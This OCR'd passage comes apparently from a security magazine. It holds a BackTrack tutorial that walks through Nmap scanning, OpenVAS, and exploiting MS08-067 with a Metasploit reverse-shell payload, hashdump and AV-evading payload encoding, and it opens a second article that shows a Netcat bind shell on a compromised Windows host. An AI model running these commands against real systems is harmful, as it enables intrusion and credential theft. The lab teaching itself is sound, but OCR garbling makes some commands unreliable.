chine VMWare Player will ask you a question, se-
lect the ‘I copied it’ button (Figure 3).

When the VM first starts up, if you have any USB
or other devices connected it will give will prompt
you with another message, letting you know that
you can connect those devices to the virtual ma-
chine — you do not want to do that here.

Once the BackTrack VM has finished booting
you will see a login prompt like this: Figure 4. The
default login is ‘root’ and the password is ‘toor’.

Once you are at the prompt, go ahead and make
sure you have an IP address by typing:

CLICK TO DODWNLOAD

ZC -

‘Downloads

(DR ESHAWE® Download the Offensive Security
security Sample Penetration Test Report

Figure 1.Backtrack_download

Hardware  Options

Dewice Deviee Status

B Mermory
& Processors
£ Hard Disk

CODVE |

Network Adapter Br
i Soun
i Usa contraller
- Display

& Connect at power on

MNetwork Connection

& Bridged: Connected directly to the physical network

Peplicate physica onnection state

NAT: Used to share the host's P address

Hast-only: A private network shared with the host

Audd, = Remove Advarced..,
W Help @ Cancel I sawve
Figure 2. Bridged
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ifconfig

You should see that your DHCP server has hand-
ed you an IP address on your local network, if you
see something other than the right subnet for your
network, you need to go back and check that you
are running in Bridged mode and not NAT. While
things will work with a NATted IP address, if you
are trying to exploit a machine on a real subnet you
will have to make changes to your host to pass the
traffic back-and-forth. The output from the ifconrig
command should look like this: Figure 5. Next start
up the windows manager with the command:

startx

Then launch the Terminal application by clicking
on the icon at the top left of the screen that looks
like a little black box with >_inside of it (Figure 6).

This next step will take a while, but we will make
sure everything is up to date and we want to install
the new version of Metasploit so issue the follow-
ing commands when asked if you want to uninstall
Metasploit click the ‘“Yes’ buton: Listing 1.

With the new version of Metasploit you will need
to register in order to get updates.

This virtual machine might have been
moved or copied.

In order to configure certain management
and networking features, VMware Player
needs to know if this virtual machine was

moved or copied.

If you don't know, answer "l copied it".

| moved it €@ Cancel | | Icopiedit |

Figure 3./ copied it

BackTrack 5 R3 - 32 Bit bt ttyl

rootebt: n ifconfig
ethl Link encap:Ethernet HUWaddr
inet addr:137.168.1.115 Bca

:Z9:£9:67:53
168.1.255 Hask:Z55.255.255.8
/64 al_u]n: :Link

collisi
EX byle:

Inlerrupl

Link encap:Local Loupback
B.1 Mask:255.0.6.6

o] []l upped 0

dr LIPl_IElJ 8 owerr 8 varrier:@

EX byles: -13?‘3 (4.3 KB) TR byles:4373 (4.3 KB)

Figure 5. Ifconfig command output
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If you want to register open up a browser and go
to https://localhost:3790.

You will see the following screen (Figure 7) click
the ‘GET PRODUCT KEY’ button (Figure 8).

Next pick which version you want Pro or Com-
munity (I recommend the Community edition oth-
erwise Pro will only work for 7 days) then type in
all your information to get your free license key!
(Figure 9)

Note
BackTrack comes with a lot of plugins for Firefox,
you may need to disable these in order to register!

After you have filled out their form click on the
‘GET FREE LICENSE’ button.

Once you have registered in order to update
Metasploit, at the command prompt type:

msfupdate

Now we are ready to identify live hosts on our
test’/home network. As you saw earlier, our IP was
192.168.1.115. So that means our home subnet
will be 192.168.1.0/24 and for this we will be us-
ing Nmap.

Nmap (or Network Mapper) is a security scanner
that provides many features for probing computer
networks, such as host discovery, service detec-
tion, operating system fingerprinting, and a whole
lot more.

Listing 1. Uninstall Metasploit

cd /opt/metasploit

./uninstall

apt-get update

apt-get upgrade -y

cel ~

http://downloads.metasploit.com/data/releases/
metasploit-latest-linux-installer.runwget

chmod +x metasploit-latest-linux-installer.
run

./metasploit-latest-linux-installer.run
--prefix /opt/metasploit --mode unattended

nmap --script-updatedb

lications Places System

Figure 6. Metasploit registration
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Nmap is very powerful and has a ton of options
you can read more about it here — http.//nmap.org,
and all its various options. A full reference of all the
switches for Nmap can be found here — http.//nmap.
org/book/man.html. But | will be showing a few
Nmap commands that will help ease your way. The
first command we are going to run will let us get a
list of all the live hosts on our network and output
those to a file. You could skip this step and simply
run the next Nmap command but it will take a whole
lot longer! We also want to exclude our Attack Plat-
form so you will need to know the IP address of your
BackTrack virtual machine along with the IP of your
Windows host OS (and any other hosts you don’t
want to scan). When the command completes you
will have a live_hosts.txt file but let’'s check it to see
what hosts you found on your network (Figure 10).

nmap -sn -T5 192.168.1.0/24

--exclude 192.168.1.1,192.168.1.115,192.168.1.117
|[grep ‘Nmap scan’|cut -d’ ' -f5 >live hosts.txt
cat live hosts.txt

Now we have a nice list of all the hosts on our net-
work that are live. We need to scan all these hosts,
enumerate the ports, check services and versions,
and run some of the built in Nmap scripts which
will give us a good idea of what we're up against. If
you're curious about all these options you can sim-
ply type “nmap” at the command prompt and it will
tell you what each option does.

nmap -vv -Pn -sS -pl-65535 -sV -sC
--script-args=unsafe=1 -0 -iL live hosts.txt -oA

my subnet

[Pretaspicic

Lagin infa

Optiens! Info & Setiings

Figure 7. Metasploit registration

@metasplot

Aativate Your Metasploit License

1. Gt Your Product Key

2. Enter Product Koy You've Recohmd by Emall

Figure 8. Getting the Product Key
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Note

| added the --script-args=unsafe=1 oOption (yOU
didn’t use to have to do this, but with the newer
versions of Nmap you miss quite a bit of exploit-
able goodness. If you are unsure, you can leave
that option out).

Once Nmap fires off, you should see something that
looks like this appear in your terminal: Figure 11.

Next up you will need to identify if any of these
hosts contain vulnerabilities. Vulnerability Scan-
ners are another class of tool that any pentester
will be able to use to quickly identify hosts which
may be vulnerable to exploitation. Usually | would
start with a vulnerability scanner like Nessus or
Core Impact, and then run an Nmap scan. But for
the workflow here and wanting to give you the abil-
ity to use BackTrack using only free tools so that
you can replicate this in your test or home environ-
ment; we will be using OpenVAS.

Nessus does have a “free for home use” license
and while | suggest you install it and give it a try,

V] r_‘_r]ﬂasploit'

Register & Get Your Free Metasploit Community License @

“Type of Use | plense select

GET FREE LICENSE

Figure 9. Free Licence Key

Figure 10. Nmap hosts
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it is limited to the number of IP addresses that you
can scan. The Full version basically has no limita-
tions and for the price can’t be beat. Nessus can
be found at Tenable’s website and can be down-
loaded here — http.//www.tenable.com/products/
nessus. Nessus currently has over 50,000 checks
for vulnerabilities and you can also add in creden-
tials (if known) for an even deeper analysis.

There are a few open source free vulnerabil-
ity scanners out there, among them are Open-
VAS which can be found at htip.//www.openvas.
org/. OpenVAS currently has over 30,000 checks,
so you get what you pay for. Another reason we
are talking about OpenVAS is because it comes
installed on BackTrack. But it does require a few
steps in order to get it up and running.

So let's get OpenVAS setup and configured,
some of these commands will require user input
for instance the setup of the SSL certificate (but
you can just hit enter on all the prompts), and when
creating the Amin user you will be asked to input a
password (Listing 2). Now that you have configured
OpenVAS open your browser (Firefox) and surf over

Listing 2. OpenVAS

cd /pentest/misc/openvas

openvas-mkcert

openvas-mkcert-client -n om -1

openvasad -c ‘add user’ -n admin -r Admin
openvas-nvt-sync

openvassd

openvasmd --rebuild

openvasmd -p -a
openvasad -a o -p
gsad --http-only --listen= . -p

rool@bl; ~

Figure 11. Nmap terminal
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to 127.0.0.1:9392 and you will see the default login
screen, go ahead and enter ‘admin’ for the User-
name we created above and the ‘Password’ you
typed in. The default login screen will look like this
(Figure 12). Once you login you will see the main
page which looks like this (Figure 13).

On the left hand menu click on ‘Target’ and add
your subnet then click “Create Target” (Figure 14).

Next click on ‘New Task’ and pick a name for your
task, select the targets ‘mine’ which we just creat-
ed from the drop down list and select the ‘Scan
Config’ you wish to use, we will use ‘Full and Fast’
then click the ‘Create Task’ button and you should
see that it was setup correctly (Figure 15).

Then click the triangle Play Button icon (if you
mouse over it, it will say ‘Start Task’) on the right
hand side, your scan will begin (warning this can
take a long time) once the scan has finished the
status will show as ‘Done’. Also be aware that
when you begin to run your scan that it can take a
long time, so be patient, you may not see the sta-
tus bar update for a while. OpenVAS is very pro-
cessor and memory heavy (Figure 16).

Click on the magnifying glass icon to view the de-
tails of your report (Figure 17).

Greenbone Security Assistant

Username

Password l

| Login |

Figure 12. Openvas login
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On the next screen click on the magnifying glass
icon again for the details of your scan if you scroll
down, you will see the vulnerabilities that were identi-
fied for each host (in this example MS09-001) you can
then check Metasploit using the search function for
any Modules relating to this vulnerability (Figure 18).

Metasploit

The Metasploit Project was created by HD Moore
and is a project which provides information about se-
curity vulnerabilities and aids penetration testing, it's
best-known for its open-source Metasploit Frame-
work which is a tool for developing and executing
exploit code. When your Nmap scan has completed,
let's go ahead and load the data into Metasploit. We
will first launch Metasploit, then create and connect
to a new workspace to work with, load the Nmap
scan results, and verify things completed with the
hosts command (Listing 3 and Figure 19).

Note

If at any time you need help in Metasploit you can
issue the ne1ip command, also each command usu-
ally will take the -n option for example nosts -h.

- Greenbone B Logged in i root | Logast
¥ Security Assis I-:nr

Hon &

e T —— T
Trend
0 o .

O Configuration
= @580 Confige
= Targuts
= Cradantialy
= Agants
= Excalators
o BEhadubes
= Regort Formats
= Slaves

B Administration
= Usars
o HYT Feed
o Settings

CLUT
= Contents
= About

Figure 13. Openvas Main Page

Name mine

Hosts [192.168.1.024 |

Comment {ocptional)

Port Range default
55H Credential (optional) -
SMB Cregential (optional) ==

Create Target

Figure 14. Create Target

Results of last operation
Operation: Create Task

Status code: 201
| Status message: OK, resource created

Mo Buto-refresh ¥ | vAggiy owerrides ¥

Reports
m
(>} x]1 ]

My Task

Figure 15. Tasks
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A shortcut to running Nessus from the command
line, is to actually run it from within Metasploit it-
self; however, | like to run Nessus from the com-
mand line with the -oa switch which will ‘Output
in the three major formats at once.” This can be
incredibly useful if you need to grep through the
Nmap output or otherwise sort through the output
and use that information with other tools. You can,
however, issue all the same commands from with-
in Metasploit at the command prompt you sim-
ply type dab nmap instead of ‘nmap’ from the com-
mand line, which we just finished.

Metasploit has a LOT of different auxiliary mod-
ules and tons of commands, but for this article we
obviously can’t cover them all. We will however hit
on some of the major commands and give you an
understanding of how to use the tool and some
of the most common things you will be doing in-
side the Metesploit console. With that in mind let’s
take a look at what services were found with Nmap
which we have imported.

services

¥ | JApchy overrides ¥

vHNo suto-refiresh

i

192.168.1.197

Figure 16. Start Task

Task summary @ 5 FEEXZF -

Name:  192.168.1.197 Biack Lo Tasks
Comment:

Config:  Full and fast

Escalator:

Schiddube: (Next due: avir)

Target: 192.10%.1,197

Slave:

Status:

Reports: 1 (Finished: 1)

Reports for "192.168.1.197" L]

[sanmosuns |
M_E.E.m_ﬂ

[ vappiy overrines v R

Mon Jun 17 03:16:43 1013
Done

21 o BEO

Figure 17. See the details

mqn {r\u' 10.0)
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microsoft-ds (44 5/tcp)

Overview: Thas host 1s massing a cratical security update according to
Microsoft Bulletin MS09-00L.

Vulnerability Tnsight:

The 1ssue 15 due to the way Server Message Block [SMB) Protocol sottware
handles specially crafted SME packets

Tepact: Seccessful eaploitation could allow resote unauthenticated attackers
to cause denying the service by sending a specially cratted network message
1o 8 system running the server service.

Tapact Lewel: Systes/Network

Affected Software/0s:

Microsoft Windews 2K Service Pack 4 and prier.

Microsoft Wandews X¥P Service Pack 3 and prior.

Microsoft Windows 2003 Service Pack 2 and prior.

Fix: Funm Windews Update and update the listed hotfixes or download and

update mentioned hotfixes in the advisory from the below link,
http: /fwew . microsoft.comstechnetssecurity/bulletinsmsOu- 001, nspx
References:

hitp: ffwee . ma lwfirm. confexplon = /8463

http: /fwww microsaft. con/technat/security /bulletins/ms09- 00l mspx

CVE : CVE-2008-4114, CVE-2008- 4834, CVE- 2008- 4835
BID : 2179

Figure 18. Vulnerability check
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As you can see, Nmap did a really good job of
identifying the open ports and what services and
versions are running on those ports (Figure 20).

Let's take a look at the open services on just
one of these hosts, for example, we will use
192.168.1.197 (Figure 21)

services 192.168.1.197

Notice that port 445 was open on this host. Ad-
ditionally it was open on 3 other hosts so we can
use one of Metasploit's many auxiliary scripts to
perform some more scanning and enumeration.
The ‘show options’ command will list out all mod-
ule options for the currently loaded module (and
payload) in order for a module to run successful-
ly you must complete all required fields marked by
‘ves’. In this example the only required field that
is not pre-populated is RHOSTS. To set the fields
value you would normally use the command set
RHOST <IP Address>, but we will use the short cut
services -p 445 with the -r switch to add all host
with port 445 open to the RHOSTS (Figure 22).

use auxiliary/scanner/smb/smb_enumshares
show options

services -p 445 -R

As you can see we were able to enumerate the
shares on my Myth TV back-end server (Figure 23).

Earlier you may have noticed that the host
192.168.1.197 was being reported both as a Win-
dows 2000 and XP box, but we also saw that it
had port 445 open on it. So let's see if it hasn't
been patched and is susceptible to the MS08-067

Listing 3. Hosts command

msfconsole

workspace -a my network
workspace my network
db_import /root/my subnet.xml
hosts

Figure 19. Hosts_load
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vulnerability by actually trying to exploit it! As we
mentioned before, Metasploit has a lot to it, so we
need to know the name of the module we will use
or somehow find it. Remember, if you are unsure
of how to use a command you can usually add a
-n to the end of it, for example search -n: Figure 24.

Ok, now that we see how to use the search func-
tion, let’s try finding the MS08-067 module:

search ms08

You should have been returned a list that looks
something like this, with the module that we were
looking for listed (Figure 25).

Once we have identified the proper module we
want to use we can tell Metasploit to use it, and go
ahead and take a look at the options after it loads.

use exploit/windows/smb/ms08 067 netapi
show options

Let me take a minute here and explain the differ-
ence between an exploit like this MS08 one, and
the auxiliary module we loaded and used earli-
er. Once you have all your required fields set you
will execute an auxiliary module with the run com-
mand. An Exploit will use the command expioit.
But this isn’'t the only difference, the main difference

Figure 20. Services

Figure 21. Services_ip

Figure 22. RHOSTS
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- 192 168.1.167:139 IPCY - IPC Service (myth-backend server (Samba, Mythbuntu)) [IPC), pictures - Pictures [DISK), music - Music [DISK), videos - Videos [DISK), recordings - TV Recordings

(DTSK}

Figure 23. Shares

between an exploit and auxiliary module is that an
exploit needs a payload in order to do anything, and
there were...what...like 300 payloads available?
Each exploit is matched to the payloads it will work
with, not all payloads will work with all exploits. So
you will have to identify which payload you want to
use that will work with the specific exploit you are
going to use. Once you have loaded an exploit
module you can see which payloads are available
to that module with the show payloads command.
Now let’s continue....

show payloads
set PAYLOAD windows/meterpreter/reverse tcp
show options

Ah, now you can see that not only are there re-
quired fields for the MS08 module, but that there
are also required fields for the Payload (Figure 26).

We will keep going and set all these values, but
first | want to point out that while LPORT is pre-
populated to listen on port 4444, | usually change
this to something that | know will pass, as a lot
of companies have network devices which will on-
ly allow certain ports to pass from subnet to sub-
net, and port 443 is usually a pretty safe bet. Now
we can set our values for RHOST (the remote or
target IP address), the LHOST (our machines IP
address), and the LPORT (what port our machine

ploit app:client

search type:

Figure 24. Search -h

will listen on for connections). Earlier | had you set
your virtual machine on Bridged mode, if we hadn’t
done that we would have the target host trying to
connect to our Windows Machine first then we
would to forward that connection onto our Back-
Track VM! (Figure 27)

set RHOST 192.168.1.197
set LHOST 192.168.1.115
set LPORT 443

show options

When you have all of your fields set correctly is-
sue the command expioit and if the host is vul-
nerable you will be greeted with the meterpreter >
prompt (Figure 28).

From here you can do many different things,
such as launch post exploitation modules, upload
and download files, take screenshots, dump hash-
es, etc. After all, you now own that box.

There are a handful of commands | usually run

when | first receive a meterpreter shell, these are
sysinfo, hashdump, route, and shell. It is important to
look at the routing info on any machine you exploit as
it may be a dual-homed machine and if it is, you can
use Metasploit to pivot through this newly exploited
machine to a whole new subnet! (Figure 29)
If you want to keep your meterpreter session alive
but continue to try and exploit other hosts use the
[CrtI+Z] key combination and Metasploit will ask
you if you want to background that session. To see
what active sessions you have you can always
simply type ‘sessions’ at the Metasploit prompt
and you will be shown which sessions are active.
In order to reconnect to a session use the com-
mand sessions -i 1. Again you can always use the
-n switch with Metasploit commands (Figure 30).

Brute-forcing is a technique that repeatedly tries
different combinations of usernames and pass-

Figure 25. Module listed
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word to try and log into a service or break an en-
crypted password. There are two basic types of at-
tacks — dictionary and rainbow tables.

Dictionary Attacks can be made using diction-
ary files or lists of passwords, but brute-force at-
tacks also run through all combinations of charac-
ter sets...say 0-9, A-Z, a-z and special characters.
If you know the length and password policy that a
company uses it will greatly cut down on the time
it uses to crack a password. For dictionary files, |
would suggest searching the Internet. A good start-
ing point would be Skull Security at http./www.
skullsecurity.org/wiki/index.php/Passwords.

Rainbow table attacks are basically huge files
with different character sets that have already
been hashed using all combinations of the set,
and will usually crack a password long before a
pure brute-force attempt using dictionary or non-
computed hash attempts. If you're interested in
rainbow tables, | strongly recommend checking
out Free Rainbow Tables where you can download
tables which have already been created with ma-
ny different character sets available. You can find
them at https://www.freerainbowtables.com/.

One final note on passwords — you may decrypt
or find users often reuse passwords. Once you find

Figure 27. Payload options
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a password | always add it to my dictionary file.
That way as you continue your test you can use
those passwords against other hosts and services.

Another item an internal penetration test should
cover is the network infrastructure. There are ma-
ny different ways to go about testing the infrastruc-
ture including modules inside of Mestasploit. All it
takes is one older or misconfigured Cisco device
on the network and you can literally have access
to ever Cisco device on the network. From there
you can do things like turn on and off ports, add
your host to a restricted list, and change and moni-
tor span ports.

Daniel Compton over at Common exploits has cre-
ated a nice script called CiscOwn that will make
your life easier. He describes CiscOwn this way:

CiscOwn is simply a bash script that pulls
various tools and enumeration into one sim-
ple command for ease, so is not really a tool

in itself. It doesn’t do anything extra than
you can'’t really already do, it just saves run-

ning several different tools and commands

and entering the same info over and over. It

uses Metasploit modules and snmpwalk for
most of the tasks.

Figure 29. Meterpreter commands
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CiscOwn can be found at http://www.commonex-
ploits.com/?p=503 along with a nice walk-through
of how to use it. | strongly suggest you check it out
when you have the time.

Many corporations now run VolP for their phone
networks. If it's in scope or you come across a
subnet that has a lot of VoIP devices, don’t forget
to include these in your tests. Among other things
an attacker may be able to break into is a user’s
voice mail and listen to messages, or perform a
man-in-the-middle attack and actively record us-
er’s phone calls.

SIPVicious is simply defined as “... a set of tools
that can be used to audit SIP based VolP systems.
It currently consists of four tools:” And it’s basically
that, a tool for auditing SIP based VoIP systems
and can be found at http.//code.google.com/p/
sipvicious/. If you have never heard of SIPVicious
and are unfamiliar with it, | would also recommend
checking out http:/blog.sipvicious.org/.

Databases can be a particularly interesting subject
and could very well be an entirely separate article.
Companies store all sorts of information in data-
bases. In some cases everything is open game,
but | have had certain tests where the company
stores personally identifiable information or PII,
and have said go ahead and try and exploit the da-
tabases. BUT they wanted me to stop at the table
level, and not actually look at the contents. This is
very important — STOP where the client tells you
to, remember you document, you are only allowed
to test what they want you to, and only as deep as
they would like.

BackTrack has quite a few tools built in for Data-
bases, you can access these by going to the Ap-
plications> BackTrack> Vulnerability Assessment>
Database Assessment.

Metasploit also has a lot of function built around
databases, | suggest you start by looking at the
auxiliary modules first.

Information

meterpreter x86/win32 NT AUTHORITY\SYSTEM @ USER1-9DXHGCEKB 192

» auxiliary/scanner/mssql/mssql_hashdump

» auxiliary/scanner/mssql/mssql_login

» auxiliary/scanner/mssql/mssql_ping

» auxiliary/scanner/mssql/mssql_schemadump

* auxiliary/scanner/oracle/oracle _hashdump

» auxiliary/scanner/oracle/oracle_login

» auxiliary/scanner/oracle/sid_brute

» auxiliary/scanner/oracle/sid_enum

» auxiliary/scanner/http/blind_sql_query

» auxiliary/scanner/mysql/mysql_authbypass__
hashdump

* auxiliary/scanner/mysqgl/mysql_file_enum

» auxiliary/scanner/mysqgl/mysqgl_hashdump

» auxiliary/scanner/mysqgl/mysql_login

» auxiliary/scanner/mysqgl/mysqgl_schemadump

» auxiliary/scanner/mysgl/mysql_version

Camera systems: https://community.rapid7.com/
community/metasploit/blog/2012/01/23/video-con-
ferencing-and-self-selecting-targets.

At some point you may find yourself needing to
look at what'’s going on, on the network, or need to
do some packet analysis. We're not going to talk
about that here, but it is something to be aware of.

“Wireshark is the world’s foremost network proto-
col analyzer. It lets you see what’s happening on
your network at a microscopic level. It is the de
facto (and often de jure) standard across many in-
dustries and educational institutions.” and can be
found at www.wireshark.org. Again this is some-
thing else for you to play with. Fire it up on your
test or home network, and | think you’ll be sur-
prised at what you see.

Default installs and configurations are often left
with the default username and password. If you
come across a login page to say a router, web ap-
plication, camera system, etc. It's always worth
Googling for the specific device or software (and
sometimes version) + “default password”, as you
will be surprised as to how often someone sets up

Connection

68.1.115:443 -> 192.168.1.197:1862 (192.168.1.197)

Figure 30. Sessions
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a device or installs some new software, configures
it, then just leaves the default login. Additionally, if
you are having a hard time finding the default go
ahead and look for the setup or installation guide
since they will let you know whether or not there
is a default password. Manufacturers are becom-
ing more security aware and do not have defaults
anymore and instead require the user to input their
own password during initial setup.

Undoubtedly you will find some machine that you
should be able to exploit, but try as you may, you
just can’t get it to work! Most likely the culprit will be
some type of anti-virus. There are things you can do
to get around AV but again, that’'s well beyond the
scope of this article. With that said, a good place to
start is the Metasploit Framework, included is a tool
called msfpayload and msfencode which allows you
to encode your payload with quite a few different
options. You may have to try and try again utilizing
different options before you will be actually get your
payload to bypass the AV. The basic format of the
command will ook like this:

msfpayload windows/meterpreter/reverse tcp LHOST=
192.168.1.115 R | ./msfencode -t exe -x calc.exe
-k -o

exploit.exe -e x86/shikata ga nai -c 5

Remember we said earlier that the whole point of
penetration testing, is not only to find the holes be-
fore an attacker would, but also to deliver a report
to your client with actionable items. | create all of
my reports by hand.

What | do is show the workflow that | followed
during the test and include pictures where needed.
Remember that this report may go through quite a
few hands and you may want to show step-by-step
how you exploited a specific device, since there
may be a technical person who would want to rec-
reate the steps, or test them again after the vulner-
ability has been remediated.

Another thing | show is the number of overall vul-
nerabilities that | was able to identify during a test.
If you have a client who performs yearly testing
they may use these numbers as metrics at some
point to show that, for example, last year they had
500 critical and high severity issues, but this year
they only have 75.

| always make recommendations based on my
test. For instance, | may see that a client is still us-
ing Telnet or FTP, which pass everything (including
user credentials) unencrypted and in the clear, and
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if someone is sniffing the traffic (remember Wire-
shark?) they can easily harvest the credentials of
any user logging into those systems.

Since | use Nessus and Core Impact, one final
thing | include is my scan data in the form of a re-
port. There may be some system on the network
with a vulnerability that | did not get around to ex-
ploiting, or there may be no publicly available ex-
ploits. This doesn’t mean that there won’t be some
released in the future, and | always recommend
that these issues be remediated. The great part
about a lot of these reports is that they include
links to the original vulnerability along with the fix,
and that translates to less questions that | have to
answer or follow up on!

Hopefully you have found this article informa-
tive and now have a better idea of where to start
when performing penetration tests. Since this was
an article for a magazine realizing there is a lim-
ited amount of space, there may have been some
things that | couldn’t cover in as much depth as |
would have liked. But Google is your friend, and the
information is out there. One thing that | touched
on, but did not go into details on is the testing of
web applications. That subject alone would have
more than tripled the size of this article. If you are
interested in the penetration testing of web appli-
cations | would suggest taking a look at w3af and
Burp Suite which can be found at http.//w3af.org/
and http.//portswigger.net/burp/.

One final note; you will want to be aware of com-
pliance. Many of your clients will be having a pen-
etration test done in order to be in compliance with
requirements such as like PCI-DSS, for an audit,
or meet some other regulatory or industry stan-
dard. If you are engaged for such a test, make sure
you know that your methodology and test plan will
meet their compliance needs as many of them re-
quire specific items be tested in a specific way.

NICK HENSLEY, CISSP

Nick Hensley having held his CISSP since 2002 is a seasoned
Information Security Professional with 12 years of industry
experience. He currently manages a team of penetration tes-
ters; and performs penetration and application security test-
ing along side his team, supporting roughly 150 different cli-
ents. His background covers a broad range of manageri-
al and technical positions. Nick’s expertise lies in Penetration
Testing, Computer Forensics, Electronic Discovery, Intrusion
Detection and Prevention Systems, and Security Architecture
Design and Implementation. He can be reached via email at
NickHensleyCISSP@gmail.com.
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Backtack Linux

How to Ditch the Menu and Ball from the Command Line?

Backtrack Linux has become more popular over the years as
businesses had been losing money because of data breaches
through malware infections or targeted attacks. The media has
caught on and realized that these breaches are not only fascinating
to the businesses themselves or the so called nerds or geeks that
resolve their issues but the general public is interested in these data
breaches which makes Information Security huge news in 2013.

pears to only be picking up steam. One out-

come from the snowball effect is the fact that
more people are hired into Information Security
with less experience. It is not uncommon in todays
market to see people working in the Information
Security industry that don’t know their way around
Linux from the command line or, as we sometimes
call them, GUI (Graphical User Interface) robots.
The same effect was seen with ISP’s in the late
90’s when people were hired with little to no experi-
ence regarding basic TCP/IP networking skills. We
all started out knowing little to nothing about secu-
rity or about Linux, so those that spend time poking
around the Linux CLI (Command Line Interface)
will surely be on their way to becoming Security
Ninjas. | always tell friends that | grew up with that
if | can learn this material you surely can as well. It
comes down to effort and what life sacrifices you
are willing to make to elevate your game to the
next level. This article is a crash course in Back-
track Linux command line tools that will familiarize
you with various locations where tools you have
never heard of exist.

T he end result is a snowball effect that ap-

Introduction

In the text to follow | provide quick examples of
various tools available from the command line in
Backtrack Linux. The Backtrack menus already
provide an overwhelming amount of tools that will
allow you to accomplish almost anything you need
in a penetration test or security audit. However, if
you never get past the Backtrack menu system,
you will be doing yourself a huge disservice. If you
want to advance to the next level in your career
break away from the norm and explore. Many of
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us who have been doing this for a long time, can
remember when we had to compile every single
tool we used, and it may have taken an entire day
just to work through issue after issue that used to
materialize with new applications or new ideas. It
is amazing how far Linux has come in the past five
years and | am looking forward to where it is going
to be in five more.

The goal of this article is to familiarize you with
numerous directories located within the Back-
track Linux directory structure, where tools that
didn’t make it into the Backtrack menu system
or the Backtrack /pentest directory are locat-
ed. | encourage you to use these examples as
an opportunity to explore each directory further
and see what gems await. Don’t limit yourself to
the minimal amount of information in this article
but use it as a blueprint to investigate Backtrack
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inside and out. While you test the below exam-
ples take extra time and perform an 1s in each
directory where the tools in the examples are lo-
cated. Then, take it a step further and run man
“application-name”, “application-name” -h, or
“application-name” --help against each applica-
tion or script that listed with the 1s command. |
have split the below sections by directory where
the example tools are located and attempted to
provide less known examples to show that there
are so many hidden gems in Backtrack you could
spend weeks or months simply exploring them
without ever mastering a single item. So buckle
up, drop into a shell, and ball from the Backtrack
Linux command line.
:/bin - User Binaries :Examples - ls, ip, ps, rm,

umount

If you are familiar with Linux at all, then you have
likely run commands that exist in this directory.
There are not a ton of security related tools in the
/bin directory but there is one application that is
on the most well-known security tools list. That
command is Netcat, which is fairly basic, yet pow-
erful in the sense that it can create backdoors or
shovel data between servers with ease. It should
be noted that Netcat run from the command line
is the same as nc run from the command line and
many people use nc exclusively because its eas-
ier to type two letters instead of six. While work-
ing on the command line in Linux you can use the
“which” command to see the full path to the appli-
cation you are running as shown in the below ex-
ample. In this example we show that just because
you are issuing a command from a specific direc-
tory it doesn’t mean that is what is actually run-
ning. If this happens to be a Linux server that you

do not control or potentially had a breach of some
sort its important to know what is happening when
you run a specific command. You do not want to
be the guy on the security team who triggers ex-
tra damage without even knowing it was triggered.
In this example, we show that while running nc is
not malicious it is not simply running nc from the
bin directory, but in fact is linked to a file in anoth-
er directory which in turn is linked to nc.traditional
back in the /bin directory. Familiarize yourself with
egrep, grep, Is, and which as part of the path to
balling on the Backtrack Linux command line
(Listing 1).

The point of the above output is to become fa-
miliar with the Linux command line and to provide
an example of things not always being what they
seem. It is important to understand your environ-
ment and the commands you are running. Now
let's see some of what Netcat can actually ac-
complish by creating a Netcat listener on a Win-
dows server, make a connection to the listener
from Backtrack, and run a command on the re-
mote Windows server to prove the connection.
The below example assumes you have already
gained access to a Windows server and placed
nc.exe or Netcat for Windows on the server. In
this example the Windows server is located at
192.168.1.75 and the Backtrack server is located
at 192.168.1.78 (Listing 2).

In the above output a Netcat listener that was
offering the Windows Command Prompt or cmd.
exe was created on port 80 of the Windows serv-
er. Then, we connect to the listener using Net-
cat from the Backtrack Linux server and immedi-
ately we are dropped into Command Prompt on
the remote server, which is confirmed by running
the netsh command on Windows to display the IP
of the Windows server itself. Backtrack actually

root@bt:~# which nc

/bin/nc

root@bt:~# which netcat

/bin/netcat

root@bt:~# 1ls -alh /bin | egrep ‘nc |netcat ‘
lrwxrwxrwx 1 root root
lrwxrwxrwx 1 root root
1rwXrwxrwx 1 root root
IrwXIrWXIWX 1 root root
root@bt:~# 1ls -alh /bin/ | grep nc.traditional
-rwxr-xr-x 1 root root
root@bt:~#

Listing 1. Use which, Is, grep, and egrep to investigate netcat and nc

20 2013-01-08 06:41 nc -> /etc/alternatives/nc

24 2013-01-08 06:41 netcat -> /etc/alternatives/netcat
root@bt:~# 1s -alh /etc/alternatives | egrep ‘nc |netcat °

19 2013-01-08 06:41 nc -> /bin/nc.traditional

19 2013-01-08 06:41 netcat -> /bin/nc.traditional

27K 2008-06-21 18:51 nc.traditional
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Backtack Linux

provides Windows binaries such as nc.exe in the
/pentest/windows-binaries directory, so be sure to
explore the windows-binaries sub directories to
spark ideas of tasks you can accomplish on com-
promised Windows systems. Netcat can accom-
plish much more than the above example so be
sure to read the man page to understand more of
its capabilities. If you like what you see regarding
Netcat but would prefer encrypted connections be-
tween servers, look into the sba command. At this
point you get the idea that there are things to ex-
plore in the /vin directory so lets move on to the
next one we are going to touch on in this article
which is /sbin.

:/sbin - System Binaries :Examples - fsck,
iptables, reboot, route

The /sbin directory as noted above should con-
tain system level binaries such as the examples
listed in the title. Understanding sockets and how
they work is critical to being in the Information
Security industry so if you are not familiar with
the tools mentioned in the following paragraph,
please take the time to read man pages, search
on the Internet, read a book, or do whatever it
takes to provide yourself with a solid foundation
regarding sockets. The tool we are going to dig
into in /sbin is called ss, which is a utility used

Netcat Run From Windows Server -192.168.1.75
C:\Users\alex\Desktop>nc -L -p 80 -e cmd.exe

Netcat Run From Backtrack Server - 192.168.1.78
root@bt:~# nc 192.168.1.75 80

[Version 6.1.7601]

2009 Microsoft Corporation.

Microsoft Windows

Copyright (c)

Listing 2. Open Netcat listener on Windows server and connect from Backtrack

All rights reserved.

C:\Users\alex\Desktop>netsh interface ip show addresses “Local Area Connection”
netsh interface ip show addresses “Local Area Connection”

Configuration for interface “Local Area Connection”
DHCP enabled: No
IP Address: 192.168.1.75
Subnet Prefix: 192.168.1.0/24 (mask 255.255.255.0)
Default Gateway: 192.168.1.1
Gateway Metric: 256
InterfaceMetric: 10
C:\Users\alex\Desktop>exit
root@bt:~#
Listing 3. Listing only TCP sockets using ss on Backtrack Linux
root@bt:~# ss -t -m
State Recv-Q Send-Q Local Address:Port Peer Address:Port
ESTAB 0 0 192.168.1.78:ssh 192.168.1.75:55560
mem: (xr0,w0,£0, t0)
ESTAB 0 0 192.168.1.78:ssh 192.168.1.199:54389
mem: (r0,w0,£0, t0)
ESTAB 0 0 192.168.1.78:www 192.168.1.75:55571
mem: (r0,w0,£0,t0)
ESTAB 0 0 192.168.1.78:ssh 192.168.1.199:53998
mem: (r0,w0,£4096,t0)
